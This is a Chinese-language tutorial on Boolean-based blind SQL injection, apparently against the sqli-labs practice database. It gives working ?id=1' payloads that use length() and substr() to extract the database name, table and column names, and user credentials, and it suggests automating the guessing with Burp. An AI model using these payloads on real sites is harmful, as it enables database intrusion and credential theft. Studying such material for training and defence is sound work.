知识点:布尔盲注
思路:
1、判断注入点
首先,我们看看正常的回显内容 ?id=1
接着输入?id=1' ,结果出现语句错误
这里说明存在单引号的闭合错误
?id=1' and 1=1--+
?id=1' and 1=2--+ 这里没有任何回显信息,可以准确的确认为单引号闭合问题的注入漏洞,因为没有信息回显出来,正确的会显示you are in ....,错误的则没有显示,正确的和错误的两种,所有这种也就是布尔盲注
2、判断当前表的字段数
使用order by 数据
?id=1' order by 3--+
?id=1' order by 4--+
说明当前的表字段数有3个
3、爆库名
因为没有回显信息,所以我们只能盲猜
首先猜测数据库名的长度,使用length()函数,这个函数的作用是获取当前数据的长度,我们的数据库名是一个字符串,所以通过这种方式,可以知道数据库名的长度。
这个说明数据库名的长度不是1,从1猜到8,8是正确的,说明数据库名长度为8
知道数据库名的长度,我们开始猜测数据库名,使用substr()函数
substr函数的原型:substr(str,pos,len)
str:是要截取的字符串
pos:开始截取的位置
len:截取字符串的长度
从a开始猜,猜到s是正确的
以此类推下去,我们可以推出数据库名为security
4、爆表名
跟爆库名一样,先判断第一个表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1 --+
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+ ,可以得知第一个表的长度为6
通过调整limit 0,1 的值,来判断表
limit 1,1 为第二个表 的字段长度为8
limit2,1为第三个表,字段长度为7
limit 3,1 为第四个表 ,字段长度为
知道了数据库表的长度,我们就可以爆表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --+
采用跟爆库名的方式,我们可以爆出四张表为emails、referers、uagents、users四张
5、爆字段名
采用爆表名的方式
猜测字段的长度
?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 --+
以user表为例
?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i' --+
最后爆出来users表的字段为 id,username,password
6、爆值
?id=1' and substr((select username from security.users limit 0,1),1,1)='a' --+
通过这种方式,可以逐一把用户名和密码爆出来
正常的用户名和密码如下:
通过这种方式可以获取到数据库的数据,但是是十分低效的,我们可以结合Burp的爆破模块进行爆破,提高效率
这篇文章就写到这里啦,哪里不好欢迎批评指正!